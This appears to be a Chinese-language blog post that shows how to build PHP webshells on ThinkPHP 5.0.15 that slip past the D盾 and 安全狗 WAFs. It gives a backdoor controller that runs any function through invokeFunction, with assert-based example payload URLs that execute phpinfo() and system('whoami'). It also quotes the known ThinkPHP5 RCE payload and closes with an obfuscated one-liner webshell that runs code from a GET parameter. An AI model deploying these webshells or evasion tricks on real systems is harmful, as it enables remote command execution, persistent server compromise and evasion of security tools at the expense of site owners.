thinkphp下的Webshell&&php过D盾一句话

环境：

Thinkphp 5.0.15

PHP version:7.0.12

WAF: D盾，安全狗

Thinkphp 采用 MVC 模式核心:模块 -> 控制器 –> 方法

思路：利用已经有的think 类包库去做一些事情

利用已有的功能，顺便对D盾绕过

方法：

Payload1:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

Payload2:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

代码：

<?php
namespace app\index\controller;
use \think\App;
class index
{
   public function index($f,$shell)
   {
       $a=new App();
       $c=$a->invokeFunction($f,$shell);
       return '</br> sucess';

   }
}

关于用这个的来源：

Thinkphp5 rce 漏洞其中一个payload 是这样的

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞原因：默认没有开启强制路由，路由控制不严谨，可以执行自己需要的类库

在think 类库中找到自己需要的功能，进行触发调用

先贴一个不需要thinkphp 环境下过D盾和安全狗的马

 <?php
function invokeFunction($function, $vars = [])
{
    $reflect = new ReflectionFunction($function);

    return $reflect->invokeArgs($vars);
}

$function='a'.'ssert';
$vars=$_GET[1];

invokeFunction($function,$vars);


?>